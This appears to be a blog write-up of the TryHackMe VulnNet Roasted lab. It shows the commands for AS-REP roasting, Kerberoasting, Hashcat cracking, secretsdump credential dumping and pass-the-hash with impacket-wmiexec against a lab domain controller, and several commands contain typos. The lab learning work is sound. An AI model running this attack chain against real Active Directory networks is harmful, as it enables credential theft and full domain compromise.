Fast Feed

VulnNet Roasted — TryHackMe Active Directory Write-up

5 min read

Summary

In this write-up, I document the process followed to solve the VulnNet Roasted room on TryHackMe. It is a simple Active Directory challenge that requires us to carry out AS-REP Roasting to obtain the password for a low-privilege user followed by Kerberoasting to gain credentials of a service. After that we use those credentials to find the password of a higher privileged user in a VB Script file stored in the NETLOGON share. We use those credentials to dump SAM hashes of the Administrator which are then leveraged to gain elevated access to the target. -0x00: Enumeration

  • As usual, I started with a TCP scan on the target via Nmap. nmap -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 10.49.151.250 -oA nmap

Nmap 7.95 scan initiated Sun Jul 19 18:58:38 2026 as: /usr/lib/nmap/nmap —privileged -sC -sV -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389 -oA nmap 10.49.151.250

Nmap scan report for 10.49.151.250 Host is up (0.016s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-19 13:28:49Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: vulnnet-rst.local0., Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |http-server-header: Microsoft-HTTPAPI/2.0 |http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-07-19T13:28:53 | start_date: N/A | smb2-security-mode: | 3:1:1: | Message signing enabled and required Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done at Sun Jul 19 18:59:31 2026 — 1 IP address (1 host up) scanned in 52.38 seconds

  • The scan makes it very obvious that the target is hosting an Active Directory environment.
  • I enumerate SMB via smbclient and find the following shares. VulnNet-Enterprise-Anonymous andVulnNet-Business-Anonymous shares in specific look interesting and are the only ones we can access.VulnNet-Business-Anonymous in particular has the following files. VulnNet-Enterprise-Anonymous has the following content.
  • All the files in the above two shares have nothing of use except the names of employees who more probably than not will have accounts in the network.
  • To gain more information on the target I enumerate the SIDs (Security Identifiers) which might reveal information on the users on the network.
  • I use impacket-lookupsid tool for this task. impacket-lookupsid ’ ’:”@10.49.151.250
  • As it can be seen, we have four user accounts with the same names we saw in the shares before. I use a tidbit of text manipulation to fetch the usernames and store them in a separate file for later use. impacket-lookupsid ’ ’:”@10.49.151.250 | awk ‘{print $2}’ | cut -d ” -f2 > users.txt -0x01: AS-REP Roasting
  • Here I leveraged the disabled pre-authentication in Kerberos to extract password hashes for users. I used impacket-GetNPUsers to fulfill this task. impacket-GetNPUsers -dc-ip 10.49.151.250 vulnnet-rst.local/ -usersfile users.txt
  • I successfully obtained the password hash for the user t-skid . - To crack this hash I used Hashcat in the mode 18200. hashcat -m 18200 pass.txt /usr/share/wordlists/rockyou.txt -0x02: Kerberoasting
  • Considering I had a user credential now, I went on to conduct a Kerberoasting attack on the target to get access to a service account.
  • I used impacket-GetUserSPNs tool here. impacket-GetUserSPNs vulnnet-rst.local/t-skid:t******* -dc-ip 10.49.170.37 -request
  • The enterprise-core-vn service was crackable. The-request flag returned the service ticket which could be locally cracked. - I again deployed Hashcat for this task in the mod 13100. hashcath -m 13100 krbtgs.txt /usr/share/wordlists/rockyou.txt -O
  • The cracked password was obtained successfully.
  • I went back to the SMB shares and found that enterprise-core-vn has READ access on theNETLOGON share. - I used smbclient to connect to the share with the relevant credentials and found aResetPassword.vbs VB Script file.
  • I downloaded the file on my machine and found the following credentials for the a-whitehat user sitting in the script. -0x03: Administrator Access
  • I used the a-whitehat credentials to check for the permissions available on the target SMB Shares viasmbmap smbmap -u a-whitehat -p -H 10.49.170.37
  • Turns out, the user had Admin access on multiple shares.
  • I decided to dump SAM hashes for this user using impacket-secretsdump . impacket-secretsdump vulnnet-rst.local/a-whitehat:@10.49.170.37
  • The Administrator hash was successfully dumped! This could be used to gain higher-privilege access to the target.
  • I used impacket-wmiexec to gain an administrator shell with the credentials I had just obtained. impacket-wmiexec -hashes Administrator@10.49.170.37
  • The user flag was obtained as follows.
  • The admin flag was found in a system.txt file as shown below. With that, the room was successfully solved! I hope you found this write-up worth your time. Make sure to drop a follow for more such quality content in the future. Get Kavin Jindal’s stories in your inbox Join Medium for free to get updates from this writer. Happy Hacking!

By Kavin Jindal

Original Article

Backlinks